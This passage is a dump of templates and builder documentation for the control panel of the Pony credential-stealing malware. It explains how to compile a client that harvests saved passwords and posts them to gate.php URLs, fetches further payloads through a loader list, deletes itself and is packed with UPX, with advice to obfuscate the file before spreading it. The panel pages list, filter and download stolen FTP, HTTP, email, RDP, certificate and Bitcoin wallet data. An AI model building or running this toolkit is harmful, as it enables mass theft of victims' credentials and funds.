to the server for further processing (decryption)</li>
<li><b>Send empty reports (for statistics)</b> -usually, if no password is found, the client "Pony.exe" does not send anything
the server will not be, but sometimes it's useful to enable this option to get statistics about the number of successful "Pony.exe".</li>
<li><b>Debug Mode</b> - removes the interceptor of exceptions, used solely for debugging purposes.</li>
<li><b>Send only new reports</b> - if the option is not activated, then duplicate reports with passwords will not be sent.</li>
<li><b>Self-removal</b> - The launched file "Pony.exe" will be deleted after it finishes its work.</li>
<li><b>Add icon</b> - attach the selected icon to the file being compiled.</li>
<li><b>Pack the build using UPX</b> - compress the executable file "Pony.exe" after compilation.</li>
<li><b>Number of attempts to send the report</b> - how many times to try to send a report in case of unsuccessful transmission, it is recommended to specify at least 2 attempts.</li>
<li><b>Assembly variant:</b>
<ul>
<li><b>Exe-file</b> -normal Windows executable file (*.exe)</li>
<li><b>Dll-file</b> - the build option in the form of a .dll library, it is completely autonomous, for development it is necessary to call from your project only the LoadLibrary () API function, i.e. URL to send passwords
and all settings are stitched into the .dll file itself. In the DllTest folder is a simple example of use-testing, in the same folder you need to put the file Pony.dll, then run the file DllTest.exe,
which in turn calls LoadLibrary () for the .dll library.</li>
</ul>
</li>
<li>In the list<b>"Available decryption modules"</b>you can exclude from the build unnecessary password decrypters, this will reduce the build size.</li>
</ul>
</li>
<li><b><u>Skin</u></b>
<ul>
<li>On this tab, you can select the skin you like (skin) of the builder.</li>
</ul>
</li>
</ul>
<br /><h4>Starting the build from the command line</h4><br />
The following command line arguments are available:<br /><br />
<ul>
<li><b>-PACK_REPORT</b> -compress reports</li>
<li><b>-ENCRYPT_REPORT</b> - encrypt reports, if the encryption password is not set, then by default, "Mesoamerica"</li>
<li><b>-REPORT_PASSWORD=</b> - encryption password, for example: -REPORT_PASSWORD = Mesoamerica</li>
<li><b>-SAVE_REPORT</b> - save reports to disk (for debugging)</li>
<li><b>-ENABLE_DEBUG_MODE</b> - debug mode</li>
<li><b>-SEND_MODIFIED_ONLY</b> - send only new reports</li>
<li><b>-SELF_DELETE</b> -activate self-deletion</li>
<li><b>-SEND_EMPTY_REPORTS</b> - send empty reports</li>
<li><b>-ADD_ICON</b> - attach an icon from the file Pony.ico</li>
<li><b>-UPX</b> - pack build using UPX</li>
<li><b>-DOMAIN_LIST=</b> - a list of domains, each domain should be split using special. character \ n, for example: -DOMAIN_LIST = http: //host.com/gate.php \ nhttp: //host2.com/x/gate.php</li>
<li><b>-LOADER_LIST=</b> - the URL for the loader (it will be activated automatically if there is a URL), each URL should be divided in the same way as DOMAIN_LIST</li>
<li><b>-LOADER_EXECUTE_NEW_FILES_ONLY</b> - do not run the same files twice</li>
<li><b>-DISABLE_MODULE=</b> - exclude a certain decryption module from the build (all module names can be seen in the PonySrc \ FTPClients.asm file), for example:-DISABLE_MODULE=MODULE_OPERA</li>
<li><b>-DLL_MODE</b> - use the assembly method as a Dll-library</li>
<li><b>-COLLECT_HTTP</b> - additional collect and HTTP / HTTPS passwords</li>
<li><b>-COLLECT_EMAIL</b> - additionally collect and E-mail passwords</li>
<li><b>-UPLOAD_RETRIES=N</b> - number of attempts to send a report (N), if no value is specified, then 2 attempts are used by default</li>
</ul>
<br /><h4>Client "Pony.exe"</h4><br />
A task <b>"Pony.exe"</b> - collect passwords from the computer and send them to the server for further processing.
<br /><br />
Works on all versions of Windows, starting with Win98, including server. Supported in x86 and x64 mode.
The program normally works at startup with administrator or user rights.
<br /><br />
Before distributing the file, it is desirable to clean and crank it.
<br /><br />
Instantly decrypted saved passwords for the following programs:
<ul>
{foreach from=$module_names item=module_name}
{if $module_name !== 'RDP' && $module_name !== 'Certificate'}<li>{$module_name}</li>{/if}
{/foreach}
</ul>
</div>
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
+87
View File
@@ -0,0 +1,87 @@
<div class="mychart" id="ftp_last_24_hours">
<img width="680" height="230" src="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=chart&amp;routine=last_24_hours" alt="" />
</div>
{if ($show_logons_to_users || $priv_is_admin) && !$disable_ip_logger}
{if count($login_list)}
<h4>LAST LOGONS</h4>
<table id="table_logins" width="700" cellspacing="0" summary="Latest user logins">
<tr>
<th width="14%">Login</th>
<th width="19%">IP</th>
<th width="42%">Country</th>
<th width="25%">Login Time</th>
</tr>
{foreach from=$login_list item=login_item}
<tr>
<td>{$login_item.user}</td>
<td>{$login_item.ip}</td>
<td>{country base_path="includes/design/images/flags/" country_code=$login_item.country_code country_name=$login_item.country_name}</td>
<td>{$login_item.import_time}</td>
</tr>
{/foreach}
</table><br />
{/if}
{/if}
{if $show_domains && ($show_domains_to_users || $priv_is_admin)}
{if count($domain_list)}
<h4>Domains</h4><table id="table_domains" width="700" cellspacing="0" summary="Domains ping status">
<tr>
<th width="75%">Domain Name</th>
<th width="25%">Status</th>
</tr>
{foreach from=$domain_list item=domain_item}
<tr>
<td><a target="_blank" href="{$domain_item.url}">{$domain_item.url}</a></td>
<td><p id="chk_status_{$domain_item.domain_id}"><span class="wait"></span></p></td>
</tr>
{/foreach}
</table><br />
{/if}
{/if}
<table id="table_stats" width="700" cellspacing="0" summary="Statistics">
<tr>
<th colspan="2">Statistics</th>
</tr>
<tr><td width="75%">Server Time</td><td width="25%">{$server_time}</td></tr>
<tr><td>FTP/SFTP List</td><td>{$total_ftp_items_count+$total_ssh_items_count}</td></tr>
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
<tr><td>HTTP/HTTPS List</td><td>{$total_http_items_count}</td></tr>
{/if}
{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
<tr><td>E-mail Passwords List</td><td>{$total_email_items_count}</td></tr>
{/if}
{if $show_other_to_users || $priv_is_admin}
<tr><td>Certificates List</td><td>{$total_cert_items_count}</td></tr>
{/if}
{if $show_other_to_users || $priv_is_admin}
<tr><td>Purses List</td><td>{$total_wallet_items_count}</td></tr>
{/if}
<tr><td>RDP List</td><td>{$total_rdp_items_count}</td></tr>
<tr><td>Unique Reports</td><td>{$total_reports_count}</td></tr>
<tr><td>Duplicates Received</td><td>{$report_duplicates}</td></tr>
<tr><td>Reports Not Processed</td><td>{$total_nonparsed_reports}</td></tr>
<tr><td>Events in System Logs</td><td>{$log_events_count}</td></tr>
<tr><td>Total Size of Reports in the Database</td><td>{$total_reports_size|file_size}</td></tr>
<tr><td>Total Database Size</td><td>{$db_size|file_size}</td></tr>
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
<tr><td>Added FTP (HTTP) - Last 24 Hours</td><td>{$new_ftp_last_24_hours} ({$new_http_last_24_hours})</td></tr>
<tr><td>Added FTP (HTTP) - Last Hour</td><td>{$new_ftp_last_hour} ({$new_http_last_hour})</td></tr>
<tr><td>Added FTP (HTTP) - Last 10 Minutes</td><td>{$new_ftp_last_10_minutes} ({$new_http_last_10_minutes})</td></tr>
{else}
<tr><td>Added FTP in the Last 24 Hours</td><td>{$new_ftp_last_24_hours}</td></tr>
<tr><td>Added FTP in the Last Hour</td><td>{$new_ftp_last_hour}</td></tr>
<tr><td>Added FTP in the Last 10 Minutes</td><td>{$new_ftp_last_10_minutes}</td></tr>
{/if}
<tr><td>Added Reports in the Last 24 Hours</td><td>{$new_reports_last_24_hours}</td></tr>
<tr><td>Added Reports in the Last Hour</td><td>{$new_reports_last_hour}</td></tr>
<tr><td>Added Reports in the Last 10 Minutes</td><td>{$new_reports_last_10_minutes}</td></tr>
</table>
+201
View File
@@ -0,0 +1,201 @@
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=http"}
{if {$smarty.request.routine|default:''} == 'confirm_clear_http'}
{assign var='msg' value="Are you sure you want to clear the HTTP list?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=http&amp;routine=clear_http"}
{include file='confirm.tpl'}
{/if}
{append var="cont_codes" value="Europe" index="EU"}
{append var="cont_codes" value="North America" index="NA"}
{append var="cont_codes" value="South America" index="SA"}
{append var="cont_codes" value="Asia" index="AS"}
{append var="cont_codes" value="Africa" index="AF"}
{append var="cont_codes" value="Oceania" index="OC"}
{append var="cont_codes" value="Antarctic" index="AN"}
{append var="cont_codes" value="Other" index="--"}
{foreach from=$cont_codes key=continent_code item=continent_name}
{if isset($smarty.request.{"country_"|cat:{$continent_code|lower}})}
{assign var="country_value_set" value="true"}
{/if}
{/foreach}
{if $smarty.request.filter_include_http|default:'' != '' || $smarty.request.filter_include_https|default:'' != '' || $smarty.request.filter_domains_include|default:'' != '' || $smarty.request.filter_domains_exclude|default:'' != '' || isset($country_value_set) || $smarty.request.filter_date_from|default:'' != '' || $smarty.request.filter_date_to|default:'' != '' || $smarty.request.filter_text|default:'' != ''}
<h4>Attention! The filter mode is activated. <a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=http">Disable</a>.</h4><br />
{/if}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=http&amp;routine=download_http">Download HTTP List</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=http&amp;routine=download_http&amp;zip=1"></a> (<b>{$total_http_items_count}</b> {$total_http_items_count|items})<br />
{if $priv_can_delete}
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=http&amp;routine=confirm_clear_http">Clear HTTP list</a><br />
{/if}
<a class="filter_nav" href="#" onclick="javascript:$('#filter_frm_block').slideToggle();">Show Filter</a>
{if isset($filtered_items_count)}
{if $filtered_items_count > 0}
(found <b>{$filtered_items_count}</b> {$filtered_items_count|items}, <a href="#" onclick="javascript:$('#routine').val('filter_download'); $('#filter_frm').submit(); $('#routine').val(''); return false;"><b>ñêà÷àòü</b></a><a class="download_zip" href="#" onclick="javascript:$('#routine').val('filter_download'); $('#zip').val('1'); $('#filter_frm').submit(); $('#routine').val(''); $('#zip').val(''); return false;"></a>)
{else}
(Nothing found)
{/if}
{/if}
<br />
<br />
<div id="filter_frm_block" style="display:none;width:500px">
<form id="filter_frm" name="filter_frm" action="" method="post">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<input type="hidden" name="token" value="{$token}" />
<input type="hidden" name="routine" id="routine" value="" />
<input type="hidden" name="zip" id="zip" value="" />
<div id="tabs">
<ul>
<li><a href="#tabs-1">Filter</a></li>
<li><a href="#tabs-2">Filter by country</a></li>
<li><a href="#tabs-3">Filter by date</a></li>
</ul>
<div id="tabs-1">
<br />
<input type="hidden" name="action" value="http" />
<p style="margin-left:10px;">Include only certain domains in the list: <br /><input style="width:250px;" name="filter_domains_include" value="{$smarty.request.filter_domains_include|default:''}" /> <br /><small>(Separate by commas)</small></p><br />
<p style="margin-left:10px;">Exclude domains: <br /><input style="width:250px;" name="filter_domains_exclude" value="{$smarty.request.filter_domains_exclude|default:''}" /> <br /><small>(Separate by commas)</small></p><br />
<p style="margin-left:10px;">Text Search: <br /><input style="width:250px;" name="filter_text" value="{$smarty.request.filter_text|default:''}" /> <br /><small>(Searcy for substring, works very fast)</small></p><br />
<input style="margin-left:10px;" type="checkbox" id="filter_include_http" name="filter_include_http" value="1"
{if !isset($country_value_set) || $smarty.request.filter_include_http|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_include_http"> Enable HTTP</label><br />
<input style="margin-left:10px;" type="checkbox" id="filter_include_https" name="filter_include_https" value="1"
{if !isset($country_value_set) || $smarty.request.filter_include_https|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_include_https"> Enable HTTPS</label><br />
<input style="margin-left:10px;" type="checkbox" id="filter_export_ip" name="filter_export_ip" value="1"
{if $smarty.request.filter_export_ip|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_export_ip"> Export with IP addresses</label><br />
<br />
<div class="buttons">
<button class="neutral" onclick="javascript:clear_form('#filter_frm'); $(':input', '#tabs-3').val(''); reset_drop_lists(); $('#filter_include_http').attr('checked', 'checked'); return false;" style="width:110px;">
<img src="includes/design/images/reset_icon.png" alt="" />
Reset
</button>
<button class="positive" onclick="javascript:document.filter_frm.submit();" style="width:130px;">
<img src="includes/design/images/find_icon.png" alt="" />
Activate
</button>
</div>
<br /><br />
</div>
<div id="tabs-2">
{foreach from=$cont_codes key=continent_code item=continent_name}
<label style="display: inline; width: 150px; float: left;">
{$continent_name}:
</label>
<div style="display: inline; float: left">
<select id="drop_{$continent_code|lower}" multiple="multiple" name="country_{$continent_code|lower}[]">
{foreach from=$geo_continents.$continent_code item=country name=traversal}
<option
{if !isset($smarty.request.{"country_"|cat:{$continent_code|lower}})}
{if !isset($country_value_set)}
{if $smarty.foreach.traversal.index == 0} selected="selected"{/if}
{/if}
{else}
{if {$country.code}|array_search:$smarty.request.{"country_"|cat:{$continent_code|lower}} !== false}
selected="selected"
{/if}
{/if}
value="{$country.code}"
>{$country.name}</option>
{/foreach}
</select>
</div>
<br />
<br />
{/foreach}
<div class="buttons">
<button class="neutral" onclick="javascript:uncheck_drop_lists(); return false;" style="width:200px;">
<img src="includes/design/images/reset_icon.png" alt="" />
Clear country lists
</button>
</div>
<br />
<br />
</div>
<div id="tabs-3">
<p style="margin-left:10px;">Enable passwords from the following day:<br /><input type="text" style="width:260px" name="filter_date_from" id="datepicker_from" value="{$smarty.request.filter_date_from|default:''}" /></p><br />
<p style="margin-left:10px;">Enable passwords only until the next day:<br /><input type="text" style="width:260px" name="filter_date_to" id="datepicker_to" value="{$smarty.request.filter_date_to|default:''}" /></p><br />
</div>
</div>
</form>
<br />
</div>
{if isset($filtered_items_list)}
{assign var="http_list" value=$filtered_items_list}
{/if}
{if count($http_list)}
{if isset($filtered_items_list)}
<h4>Example of filtered HTTP records</h4>
<table id="table_http" width="800" cellspacing="0" summary="HTTP filter examples">
{else}
<h4>Latest HTTP Revenues</h4>
<table id="table_http" width="800" cellspacing="0" summary="Latest HTTP additions">
{/if}
<tr>
<th width="55%">URL</th>
<th width="25%">HTTP client</th>
<th width="20%">Add time</th>
</tr>
{foreach from=$http_list item=http_item}
{assign var=img_file value="includes/design/images/modules/"|cat:$http_item.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
<tr>
{if strlen($http_item.url) < 60}
<td>
{else}
<td title="{$http_item.url}">
{/if}
{if $http_item.report_id != '' && $http_item.report_id != '0'}
<a class="view_report" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=view_report&amp;report_id={$http_item.report_id}">
{$http_item.url|truncate:60:'...':true:false}
</a>
{else}
{$http_item.url|truncate:60:'...':true:false}
{/if}
</td>
<td style="padding-bottom:2px">{$img_url nofilter}{$http_item.ftp_client}</td>
<td>{$http_item.import_time}</td>
</tr>
{/foreach}
</table><br />
{else}
{if isset($filtered_items_list)}
<h4>Records matching the filter not found!</h4>
{else}
<h4>The HTTP list is empty!</h4>
{/if}
{/if}
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
+70
View File
@@ -0,0 +1,70 @@
{if {$smarty.request.routine|default:''} == 'confirm_clear_log'}
{assign var='msg' value="Are you sure you want to clean the system logs?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=log&amp;routine=clear_log"}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=log"}
{include file='confirm.tpl'}
{/if}
{if $smarty.request.filter_ip|default:'' != '' || $smarty.request.filter_hwid|default:'' != '' || $smarty.request.filter_notify|default:'' != ''}
<h4>Attention! The filter mode is activated. <a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log">Disable</a>.</h4><br />
{/if}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log&amp;routine=download_log">Download logs</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log&amp;routine=download_log&amp;zip=1"></a> ({$log_events_count} {$log_events_count|items})<br />
{if $priv_can_delete}
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=log&amp;routine=confirm_clear_log">Clear Logs</a> ({$total_log_table_size|file_size})<br />
{/if}
<br />
<form name="filter_frm" style="width:300px;" action="">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<input type="hidden" name="action" value="log" />
<input type="hidden" name="token" value="{$token}" />
{if $smarty.request.filter_ip|default:'' != ''}
<input type="hidden" name="filter_ip" value="{$smarty.request.filter_ip|default:''}" />
{/if}
{if $smarty.request.filter_hwid|default:'' != ''}
<input type="hidden" name="filter_hwid" value="{$smarty.request.filter_hwid|default:''}" />
{/if}
<input style="margin-left:10px;" type="checkbox" onclick="javascript:document.filter_frm.submit();" id="filter_notify" name="filter_notify" value="1"
{if $smarty.request.filter_notify|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_notify"> Show notifications</label>
</form><br />
{if count($log_list)}
<table id="table_logs" width="700" cellspacing="0" summary="Log contents">
<tr>
<th width="14%">Report</th>
<th width="61%">Text</th>
<th width="25%">Add time</th>
</tr>
{foreach from=$log_list item=log_item}
<tr>
{if $log_item.report_id == '' || $log_item.report_id == '0'}
<td><a class="view_report_delete"
{else}
<td><a class="view_report"
{/if}
href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=view_report&amp;report_id={$log_item.report_id}&amp;log_id={$log_item.log_id}">Open</a></td>
{if strlen($log_item.log_line) > 55}
<td title="{$log_item.log_line}">
{else}
<td>
{/if}
{$log_item.log_line|truncate:55:'...':true:false}
</td>
<td>{$log_item.import_time}</td>
</tr>
{/foreach}
</table><br />
{if $paginate.page_total gt 1}
<div id="page_select">
{paginate_prev} {paginate_middle link_prefix=" " link_suffix=" |" format="page" prefix="" suffix=""} {paginate_next}
</div>
{/if}
{/if}
+19
View File
@@ -0,0 +1,19 @@
<div class="login_form">
<h2>Authorization</h2>
<form name="login_frm" action="{$smarty.server.SCRIPT_NAME}{$smarty.server.REQUEST_URI|substr:strlen($smarty.server.SCRIPT_NAME)}" method="POST" >
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<input type="hidden" name="token" value="{$token}" />
<label class="formTxt">Login</label>
<input type="text" name="login" value="" class="txtBox" />
<label class="formTxt">Password</label>
<input type="password" name="password" value="" class="txtBox" />
<input type="checkbox" id="save_password" name="save_password" />
<label class="formTxt" for="save_password">Remember Password</label>
<div class="buttons">
<button onclick="javascript:document.login_frm.submit();" style="float:right;width:80px;">
<img src="includes/design/images/lock_open.png" alt="" />
Login
</button>
</div>
</form>
</div>
+168
View File
@@ -0,0 +1,168 @@
{if {$smarty.request.routine|default:''} == 'confirm_delete'}
{if $priv_is_admin}
{assign var='msg' value="Are you sure you want to delete the user? '"|cat:{$smarty.request.username|default:''}|cat:"'?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin&amp;routine=delete&amp;user_id="|cat:{$smarty.request.user_id|default:''}}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin"}
{include file='confirm.tpl'}
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
{elseif {$smarty.request.routine|default:''} == 'confirm_rebuild_tables'}
{if $priv_is_admin}
{assign var='msg' value="Are you sure you want to re-create the tables and erase all the data?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin&amp;routine=rebuild_tables"}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin"}
{include file='confirm.tpl'}
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
{/if}
<div id="arrow_nav">
{if $priv_is_admin}
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=server_settings_form">Server Settings</a><br />
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=new_user_form">Add New User</a><br />
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=optimize_tables">Optimize (compress) MySQL tables</a><br />
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=confirm_rebuild_tables">Re-create MySQL tables</a><br />
{/if}
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=change_pass_form">Change panel access password</a><br />
</div><br />
{if {$smarty.request.routine|default:''} == 'server_settings_form'}
{if $priv_is_admin}
<div id="user_form">
<h2 class="settings">Server Settings</h2>
<form name="settings_frm" action="{$smarty.server.SCRIPT_NAME}" method="get">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<input type="hidden" name="token" value="{$token}" />
<label class="formTxt">Password for decryption of reports</label>
<input type="text" name="report_password" value="{$report_password}" class="txtBox" maxlength="4" />
<label class="formTxt" style="color:red">Up to 4 chars</label>
<input type="hidden" name="action" value="admin" />
<input type="hidden" name="routine" value="update_server_settings" />
<input style="margin-left:20px; margin-top: 6px; float: left; margin-right: 3px;" type="checkbox" id="sftp_user" name="sftp_user" value="1" {if $sftp_user == '1'}checked="checked"{/if} /><label for="sftp_user" class="formTxt"> Identify SFTP by username (root)</label>
<div style="clear:both"></div>
<input style="margin-left:20px; margin-top: 6px; float: left; margin-right: 3px;" type="checkbox" id="sftp_port" name="sftp_port" value="1" {if $sftp_port == '1'}checked="checked"{/if} /><label for="sftp_port" class="formTxt"> Identify SFTP by 22 port</label>
<div style="clear:both"></div>
<input style="margin-left:20px; margin-top: 6px; float: left; margin-right: 3px;" type="checkbox" id="sftp_protocol" name="sftp_protocol" value="1" {if $sftp_protocol == '1'}checked="checked"{/if} /><label for="sftp_protocol" class="formTxt"> Identify SFTP by protocol in the client</label>
<div class="buttons" style="float:right;margin-right:40px;margin-top:10px;">
<button onclick="javascript:document.settings_frm.submit();" class="positive" style="width:110px;">
<img src="includes/design/images/disk.png" alt="" />
Save
</button>
</div>
</form>
</div>
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
{elseif {$smarty.request.routine|default:''} == 'change_pass_form'}
<div id="user_form">
<h2 class="edit">Change access password</h2>
<form name="pass_change_frm" action="{$smarty.server.SCRIPT_NAME}" method="get">
<input type="hidden" name="token" value="{$token}" />
<label class="formTxt">Current password</label>
<input type="password" name="current_password" value="" class="txtBox" />
<label class="formTxt">New password</label>
<input type="password" name="new_password" value="" class="txtBox" />
<label class="formTxt">Password confirmation</label>
<input type="password" name="confirm_password" value="" class="txtBox" />
<input type="hidden" name="action" value="admin" />
<input type="hidden" name="routine" value="change_password" />
<div class="buttons" style="float:right;margin-right:40px;margin-top:10px;">
<button onclick="javascript:document.pass_change_frm.submit();" class="positive" style="width:110px;">
<img src="includes/design/images/disk.png" alt="" />
Save
</button>
</div>
</form>
</div>
{elseif {$smarty.request.routine|default:''} == 'new_user_form'}
{if $priv_is_admin}
<div id="user_form">
<h2>Add User</h2>
<form name="new_user_frm" action="{$smarty.server.SCRIPT_NAME}" method="get">
<input type="hidden" name="token" value="{$token}" />
<label class="formTxt">Login</label>
<input type="text" name="new_login" value="" class="txtBox" />
<label class="formTxt">Password</label>
<input type="password" name="new_password" value="" class="txtBox" />
<label class="formTxt">Privilege</label>
<select name="privileges" size="1">
<option value="user_all">user_all</option>
<option value="user_view_only">user_view_only</option>
</select>
<input type="hidden" name="action" value="admin" />
<input type="hidden" name="routine" value="add" />
<div class="buttons" style="float:right;margin-right:40px;">
<button onclick="javascript:document.new_user_frm.submit();" class="positive" style="width:110px;">
<img src="includes/design/images/add.png" alt="" />
Upload
</button>
</div>
</form>
</div>
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
{elseif {$smarty.request.routine|default:''} == 'edit_form'}
{if $priv_is_admin}
{if isset($user_data) && is_array($user_data)}
<div id="user_form">
<h2 class="edit">Edit data</h2>
<form name="user_edit_frm" action="{$smarty.server.SCRIPT_NAME}" method="get">
<input type="hidden" name="token" value="{$token}" />
<label class="formTxt">Login</label>
<input type="text" disabled="disabled" value="{$user_data.username}" class="txtBox" />
<label class="formTxt">Password</label>
<input type="password" name="new_password" value="current_HASH_value" class="txtBox" />
<label class="formTxt">Privilege</label>
<select name="privileges" size="1">
<option value="user_all"{if $user_data.privileges=='user_all'} selected="selected"{/if}>user_all</option>
<option value="user_view_only"{if $user_data.privileges=='user_view_only'} selected="selected"{/if}>user_view_only</option>
</select>
<input type="hidden" name="user_id" value="{$user_data.user_id}" />
<input type="hidden" name="action" value="admin" />
<input type="hidden" name="routine" value="edit" />
<div class="buttons" style="float:right;margin-right:40px;">
<button onclick="javascript:document.user_edit_frm.submit();" class="positive" style="width:110px;">
<img src="includes/design/images/disk.png" alt="" />
Save
</button>
</div>
</form>
</div>
{else}
{include file='error.tpl' err_code=''}
{/if}
{else}
{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}
{/if}
{if $priv_is_admin && count($user_list) > 0}
<h4>Members List</h4>
<table id="table_user_list" width="500px" cellspacing="0" summary="User list">
<tr>
<th width="25%">User</th>
<th width="25%">Privilege</th>
<th width="50%">Actions</th>
</tr>
{foreach from=$user_list item=user}
<tr>
<td style="padding-bottom:2px"><img style="margin-top:-2px;vertical-align:middle;" src="includes/design/images/user_icon.png" alt="" width="16" height="16" /> {$user.username}</td>
<td>{$user.privileges}</td>
<td><a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=edit_form&amp;user_id={$user.user_id}">Edit data</a> |
<a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=admin&amp;routine=confirm_delete&amp;user_id={$user.user_id}&amp;username={$user.username}">Remove</a></td>
</tr>
{/foreach}
</table>
{/if}
+102
View File
@@ -0,0 +1,102 @@
{if $show_other_to_users || $priv_is_admin}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other"}
{if {$smarty.request.routine|default:''} == 'confirm_clear_cert'}
{assign var='msg' value="Are you sure you want to clear the list of certificates?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&amp;routine=clear_cert"}
{include file='confirm.tpl'}
{/if}
{if {$smarty.request.routine|default:''} == 'confirm_clear_wallet'}
{assign var='msg' value="Are you sure you want to clear the list of purses?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&amp;routine=clear_wallet"}
{include file='confirm.tpl'}
{/if}
{if {$smarty.request.routine|default:''} == 'confirm_clear_email'}
{assign var='msg' value="Are you sure you want to clear the E-mail list?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&amp;routine=clear_email"}
{include file='confirm.tpl'}
{/if}
{if {$smarty.request.routine|default:''} == 'confirm_clear_rdp'}
{assign var='msg' value="Are you sure you want to clear the RDP list?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&amp;routine=clear_rdp"}
{include file='confirm.tpl'}
{/if}
{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_email">Download list E-mail</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_email&amp;zip=1"></a> (<b>{$total_email_items_count}</b> {$total_email_items_count|items})<br />
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_email_smtp">Download list E-mail (SMTP only)</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_email_smtp&amp;zip=1"></a> (<b>{$total_email_smtp_items_count}</b> {$total_email_smtp_items_count|items})<br />
{/if}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_cert">Download Certificates</a> (<b>{$total_cert_items_count}</b> {$total_cert_items_count|items}{if isset($cert_last_import)}, ïîñëåäíèé ïîëó÷åí <b>{$cert_last_import}</b>{/if})<br />
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_wallet">Download Bitcoin Wallets</a> (<b>{$total_wallet_items_count}</b> {$total_wallet_items_count|items}{if isset($wallet_last_import)}, ïîñëåäíèé ïîëó÷åí <b>{$wallet_last_import}</b>{/if})<br />
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_rdp">Download RDP list</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=download_rdp&amp;zip=1"></a> (<b>{$total_rdp_items_count}</b> {$total_rdp_items_count|items})<br />
{if $priv_can_delete}
<br />
{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=confirm_clear_email">Clear list E-mail</a> ({$total_email_table_size|file_size})<br />
{/if}
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=confirm_clear_cert">Delete certificates</a> ({$total_cert_table_size|file_size})<br />
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=confirm_clear_wallet">Delete Bitcoin Wallets</a> ({$total_wallet_table_size|file_size})<br />
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=other&amp;routine=confirm_clear_rdp">Clear the RDP list</a><br />
{/if}
